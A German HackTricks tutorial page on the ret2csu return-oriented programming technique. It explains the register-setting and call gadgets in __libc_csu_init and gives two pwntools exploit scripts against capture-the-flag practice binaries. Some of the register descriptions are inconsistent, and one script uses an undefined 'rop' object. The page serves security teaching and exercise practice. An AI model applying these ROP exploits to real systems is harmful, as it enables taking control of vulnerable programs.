Ret2csu

Support HackTricks

ret2csu ist eine Hacking-Technik, die verwendet wird, wenn Sie versuchen, die Kontrolle über ein Programm zu übernehmen, aber die gadgets nicht finden können, die Sie normalerweise verwenden, um das Verhalten des Programms zu manipulieren.

Wenn ein Programm bestimmte Bibliotheken (wie libc) verwendet, hat es einige integrierte Funktionen, um zu verwalten, wie verschiedene Teile des Programms miteinander kommunizieren. Unter diesen Funktionen gibt es einige versteckte Schätze, die als unsere fehlenden Gadgets fungieren können, insbesondere eines namens __libc_csu_init.

Die magischen Gadgets in __libc_csu_init

In __libc_csu_init gibt es zwei Befehlsfolgen (gadgets), die hervorgehoben werden sollten:

  1. Die erste Befehlsfolge ermöglicht es uns, Werte in mehreren Registern (rbx, rbp, r12, r13, r14, r15) einzurichten. Diese sind wie Slots, in denen wir Zahlen oder Adressen speichern können, die wir später verwenden möchten.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Dieses Gadget ermöglicht es uns, diese Register zu steuern, indem wir Werte vom Stack in sie hineinpoppen.

  1. Die zweite Sequenz verwendet die Werte, die wir eingerichtet haben, um ein paar Dinge zu tun:

  • Bestimmte Werte in andere Register verschieben, um sie bereit zu machen, dass wir sie als Parameter in Funktionen verwenden können.

  • Einen Aufruf zu einem Ort durchführen, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert wird.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Vielleicht kennst du keine Adresse, um dort zu schreiben, und du brauchst eine ret-Anweisung. Beachte, dass das zweite Gadget ebenfalls mit einem ret endet, aber du musst einige Bedingungen erfüllen, um es zu erreichen:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Die Bedingungen sind:

  • [r12 + rbx*8] muss auf eine Adresse zeigen, die eine aufrufbare Funktion speichert (wenn keine Idee und kein pie, kannst du einfach die _init-Funktion verwenden):

  • Wenn _init bei 0x400560 ist, verwende GEF, um einen Zeiger im Speicher darauf zu suchen und mache [r12 + rbx*8] zur Adresse mit dem Zeiger auf _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp und rbx müssen den gleichen Wert haben, um den Sprung zu vermeiden

  • Es gibt einige ausgelassene Pops, die du berücksichtigen musst

RDI und RSI

Eine weitere Möglichkeit, rdi und rsi vom ret2csu-Gadget zu steuern, besteht darin, auf spezifische Offsets zuzugreifen:

Überprüfe diese Seite für weitere Informationen:

BROP - Blind Return Oriented Programming

Beispiel

Verwendung des Aufrufs

Stell dir vor, du möchtest einen Syscall machen oder eine Funktion wie write() aufrufen, benötigst jedoch spezifische Werte in den Registern rdx und rsi als Parameter. Normalerweise würdest du nach Gadgets suchen, die diese Register direkt setzen, aber du kannst keine finden.

Hier kommt ret2csu ins Spiel:

  1. Registriere die Register einrichten: Verwende das erste magische Gadget, um Werte vom Stack in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) und r15 zu poppen.

  2. Verwende das zweite Gadget: Mit diesen Registern kannst du das zweite Gadget verwenden. Dies ermöglicht es dir, deine gewählten Werte in rdx und rsi (von r14 und r13) zu verschieben und die Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus kannst du durch die Kontrolle von r15 und rbx das Programm dazu bringen, eine Funktion an der Adresse aufzurufen, die du berechnest und in [r15 + rbx*8] platzierst.

Du hast ein Beispiel, das diese Technik verwendet und es hier erklärt, und dies ist der endgültige Exploit, den es verwendet hat:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Beachten Sie, dass der vorherige Exploit nicht dazu gedacht ist, ein RCE durchzuführen, sondern lediglich eine Funktion namens win aufzurufen (die Adresse von win aus stdin zu holen, indem gets in der ROP-Kette aufgerufen wird und sie in r15 gespeichert wird) mit einem dritten Argument mit dem Wert 0xdeadbeefcafed00d.

Umgehen des Aufrufs und Erreichen von ret

Der folgende Exploit wurde von dieser Seite extrahiert, wo ret2csu verwendet wird, aber anstelle des Aufrufs die Vergleiche umgeht und das ret nach dem Aufruf erreicht:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Warum nicht einfach libc direkt verwenden?

In der Regel sind diese Fälle auch anfällig für ret2plt + ret2lib, aber manchmal müssen Sie mehr Parameter steuern, als mit den Gadgets, die Sie direkt in libc finden, leicht kontrolliert werden können. Zum Beispiel erfordert die write()-Funktion drei Parameter, und das Finden von Gadgets, um all diese direkt zu setzen, könnte nicht möglich sein.

Unterstützen Sie HackTricks

Last updated